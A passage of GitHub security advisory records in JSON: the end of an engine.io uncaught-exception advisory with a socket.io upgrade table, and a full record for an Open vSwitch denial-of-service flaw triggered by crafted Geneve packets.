`6.2.1`       |\n\nFor `socket.io` users:\n\n| Version range               | `engine.io` version | Needs minor update?                                                                                    |\n|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|\n| `socket.io@4.5.x`           | `~6.2.0`            | `npm audit fix` should be sufficient                                                                   |\n| `socket.io@4.4.x`           | `~6.1.0`            | Please upgrade to `socket.io@4.5.x`                                                                    |\n| `socket.io@4.3.x`           | `~6.0.0`            | Please upgrade to `socket.io@4.5.x`                                                                    |\n| `socket.io@4.2.x`           | `~5.2.0`            | Please upgrade to `socket.io@4.5.x`                                                                    |\n| `socket.io@4.1.x`           | `~5.1.1`            | Please upgrade to `socket.io@4.5.x`                                                                    |\n| `socket.io@4.0.x`           | `~5.0.0`            | Please upgrade to `socket.io@4.5.x`                                                                    |\n| `socket.io@3.1.x`           | `~4.1.0`            | Please upgrade to `socket.io@4.5.x` (see [here](https://socket.io/docs/v4/migrating-from-3-x-to-4-0/)) |\n| `socket.io@3.0.x`           | `~4.0.0`            | Please upgrade to `socket.io@4.5.x` (see [here](https://socket.io/docs/v4/migrating-from-3-x-to-4-0/)) |\n| `socket.io@2.5.0`           | `~3.6.0`            | `npm audit fix` should be sufficient                                                                   |\n| `socket.io@2.4.x` and below | `~3.5.0`            | Please upgrade to `socket.io@2.5.0`                                                                    |\n\n### Workarounds\n\nThere is no known workaround except upgrading to a safe version.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [`engine.io`](https://github.com/socketio/engine.io)\n\nThanks to [Jonathan Neve](https://github.com/jonathanneve) for the responsible disclosure.\n",
  "id": "GHSA-r7qp-cfhv-p84w",
  "modified": "2022-12-08T00:47:24Z",
  "published": "2022-11-21T23:55:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/socketio/engine.io/security/advisories/GHSA-r7qp-cfhv-p84w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/socketio/engine.io/commit/425e833ab13373edf1dd5a0706f07100db14e3c6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/socketio/engine.io/commit/83c4071af871fc188298d7d591e95670bf9f9085"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/socketio/engine.io"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncaught exception in engine.io"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-3966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-22T13:15:07Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in Open vSwitch where multiple versions are vulnerable to crafted Geneve packets, which may result in a denial of service and invalid memory accesses. Triggering this issue requires that hardware offloading via the netlink path is enabled.",
  "id": "GHSA-r9cj-pfgj-jc26",
  "modified": "2024-03-23T03:30:24Z",
  "published": "2024-02-22T15:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3966"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-3966"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2178363"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LFZADABUDOFI2KZIRQBYFZCIKH55RGY3"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VYYUBF6OW2JG7VOFEOROHXGSJCTES3QO"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}